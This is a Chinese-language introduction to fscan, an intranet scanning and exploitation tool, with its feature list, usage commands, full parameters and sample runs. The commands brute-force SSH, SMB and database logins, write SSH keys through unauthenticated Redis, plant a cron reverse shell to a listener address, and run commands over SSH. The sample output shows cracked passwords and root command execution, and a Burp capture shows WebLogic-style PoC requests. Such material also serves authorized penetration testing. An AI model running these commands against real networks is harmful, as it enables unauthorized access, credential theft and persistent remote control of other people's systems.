

fscan扫描探测工具

简介

fscan 是一个内网综合扫描工具，方便一键自动化、全方位漏洞扫描。

它支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。

源码链接: <https://github.com/shadow1ng/fscan>

主要功能

1.信息搜集:

- 存活探测 icmp)
- 端口扫描

2.爆破功能:

- 各类服务爆破(ssh、smb等)
- 数据库密码爆破(mysql、mssql、redis、psql等)

3.系统信息、漏洞扫描:

- 获取目标网卡信息
- 高危漏洞扫描(ms17010等)

4.Web探测功能:

- webtitle探测
- web指纹识别(常见cms、oa框架等)
- web漏洞扫描(weblogic、st2等,支持xray的poc)

5.漏洞利用:

- redis写公钥或写计划任务
- ssh命令执行

6.其他功能:

- 文件保存

用法

简单用法

- ```
1 fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
2 fscan.exe -h 192.168.1.1/16 (B段扫描)
```

## 其他用法

```
1 fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
2 fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
3 fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
4 fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后, 命令执行)
5 fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
6 fscan.exe -h 192.168.1.1/24 -pddf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
7 fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
8 fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息)
9 fscan.exe -h 192.168.1.1/24 -m smb -pdd password (smb密码碰撞)
10 fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
11 fscan.exe -hf ip.txt (以文件导入)
```

## 编译命令

```
1 go build -ldflags="-s -w " -trimpath
```

## 完整参数

```
1 -Num int
2 poc rate (default 20)
3 -c string
4 exec command (ssh)
5 -cookie string
6 set poc cookie
7 -debug
8 debug mode will print more error info
9 -domain string
10 smb domain
11 -h string
12 IP address of the host you want to scan,for example: 192.168.11.11 |
192.168.11.11-255 | 192.168.11.11,192.168.11.12
13 -hf string
14 host file, -hs ip.txt
15 -m string
16 select scan type ,as: -m ssh (default "all")
17 -no
18 not to save output log
19 -nopoc
20 not to scan web vul
21 -np
```

```
22 not to ping
23 -o string
24 Outputfile (default "result.txt")
25 -p string
26 Select a port,for example: 22 | 1-65535 | 22,80,3306 (default
"21,22,80,81,135,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9200,11211,2701
79098,9448,8888,82,8858,1081,8879,21502,9097,8088,8090,8200,91,1080,889,8834,801
1,9986,9043,9988,7080,10000,9089,8028,9999,8001,89,8086,8244,9000,2008,8080,7000
,8030,8983,8096,8288,18080,8020,8848,808,8099,6868,18088,10004,8443,8042,7008,81
61,7001,1082,8095,8087,8880,9096,7074,8044,8048,9087,10008,2020,8003,8069,20000,
7688,1010,8092,8484,6648,9100,21501,8009,8360,9060,85,99,8000,9085,9998,8172,889
9,9084,9010,9082,10010,7005,12018,87,7004,18004,8098,18098,8002,3505,8018,3000,9
094,83,8108,1118,8016,20720,90,8046,9443,8091,7002,8868,8010,18082,8222,7088,844
8,18090,3008,12443,9001,9093,7003,8101,14000,7687,8094,9002,8082,9081,8300,9086,
8081,8089,8006,443,7007,7777,1888,9090,9095,81,1000,18002,8800,84,9088,7071,7070
,8038,9091,8258,9008,9083,16080,88,8085,801,5555,7680,800,8180,9800,10002,18000,
18008,98,28018,86,9092,8881,8100,8012,8084,8989,6080,7078,18001,8093,8053,8070,8
280,880,92,9099,8181,9981,8060,8004,8083,10001,8097,21000,80,7200,888,7890,3128,
8838,8008,8118,9080,2100,7180,9200")
27 -ping
28 using ping replace icmp
29 -pocname string
30 use the pocs these contain pocname, -pocname weblogic
31 -proxy string
32 set poc proxy, -proxy http://127.0.0.1:8080
33 -pwd string
34 password
35 -pwdf string
36 password file
37 -rf string
38 redis file to write sshkey file (as: -rf id_rsa.pub)
39 -rs string
40 redis shell to write cron file (as: -rs 192.168.1.1:6666)
41 -t int
42 Thread nums (default 600)
43 -time int
44 Set timeout (default 3)
45 -u string
46 url
47 -uf string
48 urlfile
49 -user string
50 username
51 -userf string
52 username file
53 -wt int
54 Set web timeout (default 5)
```

## 运行截图

## fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)

```

PS D:\tools\fsan> .\fscan.exe -h 192.168.1.13

[ICMP] Target '192.168.1.13' is alive
192.168.1.13:21 open
192.168.1.13:22 open
192.168.1.13:1433 open
192.168.1.13:1521 open
192.168.1.13:3306 open
192.168.1.13:5432 open
192.168.1.13:6379 open
192.168.1.13:9000 open
192.168.1.13:11211 open
192.168.1.13:27017 open
WebTitle:http://192.168.1.13:9000 200 None
Redis:192.168.1.13:6379 unauthorized
Memcached:192.168.1.13:11211 unauthorized
Redis:192.168.1.13:6379 like can write /root/.ssh/
Redis:192.168.1.13:6379 like can write /var/spool/cron/
mysql:192.168.1.13:3306:root 123456
mssql:192.168.1.13:1433:sa admin123A
SSH:192.168.1.13:22:root admin123
FTP:192.168.1.13:21:admin 123456
scan end

```

**fscan.exe -h 192.168.x.x -rf id\_rsa.pub (redis 写公钥)**

```

PS D:\tools\fscan> .\fscan.exe -h 192.168.1.13 -rf id_rsa.pub

ATTACK

(ICMP) Target '192.168.1.13' is alive
192.168.1.13:22 open
192.168.1.13:21 open
192.168.1.13:1433 open
192.168.1.13:1521 open
192.168.1.13:3306 open
192.168.1.13:5432 open
192.168.1.13:6379 open
192.168.1.13:9000 open
192.168.1.13:11211 open
192.168.1.13:27017 open
WebTitle:http://192.168.1.13:9000 200 None
Redis:192.168.1.13:6379 unauthorized
Memcached:192.168.1.13:11211 unauthorized
Redis:192.168.1.13:6379 like can write /root/.ssh/
192.168.1.13:6379 SSH public key was written successfully
Redis:192.168.1.13:6379 like can write /var/spool/cron/
mysql:192.168.1.13:3306:root 123456
mssql:192.168.1.13:1433:sa admin123A
SSH:192.168.1.13:22:root admin123
FTP:192.168.1.13:21:admin 123456
scan end

```

**fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)**

```
Windows PowerShell
PS D:\tools\fscan> .\fscan.exe -h 192.168.1.13 -c "whoami;id"

(ASCII) Target '192.168.1.13' is alive
192.168.1.13:22 open
192.168.1.13:21 open
192.168.1.13:1433 open
192.168.1.13:3306 open
192.168.1.13:1521 open
192.168.1.13:5432 open
192.168.1.13:6379 open
192.168.1.13:9000 open
192.168.1.13:11211 open
192.168.1.13:27017 open
Redis:192.168.1.13:6379 unauthorized
Memcached:192.168.1.13:11211 unauthorized
WebTitle:http://192.168.1.13:9000 200 None
Redis:192.168.1.13:6379 like can write /root/.ssh/
Redis:192.168.1.13:6379 like can write /var/spool/cron/
mysql:192.168.1.13:3306:root 123456
mssql:192.168.1.13:1433:sa admin123A
SSH:192.168.1.13:22:root admin123
root
用户id=0(root) 组id=0(root) 组=0(root)

FTP:192.168.1.13:21:admin 123456
scan end
PS D:\tools\fscan> |
```

fscan.exe -h 192.168.x.x -p80 -proxy <http://127.0.0.1:8080> 一键支持xray的poc

```
Windows PowerShell
- password file
-rf string redis file to write sshkey file (as: -rf id_rsa.pub)
-rs string redis shell to write cron file (as: -rs 192.168.1.1:6666)
-t int Thread nums (default 200)
-time int Set timeout (default 3)
-user string username
-usprf string username file
-wt int Set web timeout (default 3)
PS D:\tools\fscan\Releases> .\fscan_upx32.exe -h 192.168.1.1 -p80 -proxy http://127.0.0.1:8080

(ASCII) Target '192.168.1.1' is alive
icmp alive hosts len is: 1
192.168.1.1:80 open
WebTitle:http://192.168.1.1:80 200 中国电信智能网关
scan end
PS D:\tools\fscan\Releases>
```

Burp Suite Professional v2020.11.3 - Temporary Project - licensed to shadowing

Dashboard Target Proxy Repeater Sequencer Decoder Comparer Extender Project options U

Intercept HTTP history WebSockets history Options

Filter: Hiding CSS, image and general binary content

| #   | Host               | Method | URL                                     | Params | Edited | Status | Length | MIME type | Ext |
|-----|--------------------|--------|-----------------------------------------|--------|--------|--------|--------|-----------|-----|
| 316 | http://192.168.1.1 | POST   | /vls-wsat/CoordinatorPortType           |        | ✓      | 404    | 123    | text      |     |
| 315 | http://192.168.1.1 | GET    | /jsrpc.php?Type=0&mode=1&meth...        |        | ✓      | 404    | 123    | text      | php |
| 314 | http://192.168.1.1 | POST   | /vls-wsat/CoordinatorPortType           |        | ✓      | 404    | 123    | text      |     |
| 313 | http://192.168.1.1 | POST   | /password_change.cgi                    |        | ✓      | 404    | 123    | text      | cgi |
| 312 | http://192.168.1.1 | GET    | /zabbix.php?action=dashboard.view...    |        | ✓      | 404    | 123    | text      | php |
| 311 | http://192.168.1.1 | POST   | /vls-wsat/CoordinatorPortType           |        | ✓      | 404    | 123    | text      |     |
| 310 | http://192.168.1.1 | POST   | /_async/AsyncResponseService            |        | ✓      | 404    | 123    | text      |     |
| 309 | http://192.168.1.1 | GET    | /console/images/%252E/console.p...      |        | ✓      | 404    | 123    | text      |     |
| 308 | http://192.168.1.1 | GET    | /juddiexplorer/SearchPublicRegistrie... |        | ✓      | 404    | 123    | text      | jsp |
| 307 | http://192.168.1.1 | POST   | /vls-wsat/CoordinatorPortType           |        | ✓      | 404    | 123    | text      |     |
| 306 | http://192.168.1.1 | GET    | /wojsapi/saveYZFile?fileName=test...    |        | ✓      | 404    | 123    | text      |     |
| 305 | http://192.168.1.1 | GET    | /wojsapi/saveYZFile?fileName=test...    |        | ✓      | 404    | 123    | text      |     |

Request

Raw View Actions

1 POST /vls-wsat/CoordinatorPortType HTTP/1.1

2 Host: 192.168.1.1:80

3 User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36

4 Content-Type: text/xml

5 Content-Length: 871

6 Accept-Encoding: gzip, deflate

7 Connection: close

8

9 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

10 <soapenv:Header>

11 <work:WorkContext xmlns:work="http://bea.com/work">

12 <work:WorkContext>

13 </work:WorkContext>

14 </soapenv:Header>

15 <soapenv:Body>

16 <work:WorkContext>

17 <work:WorkContext>

18 </work:WorkContext>

19 </soapenv:Body>

20 </soapenv:Envelope>

Response

Raw Render View Actions

1 HTTP/1.1 404 Not Found

2 Connection: close

3 Content-Type: text/html

4 Content-Length: 33

5

6 <html>

7 <head>

8 <title>

9 </title>

10 </head>

11 <body>

12 </body>

13 </html>

14

15 File not found.

16

17

0 matches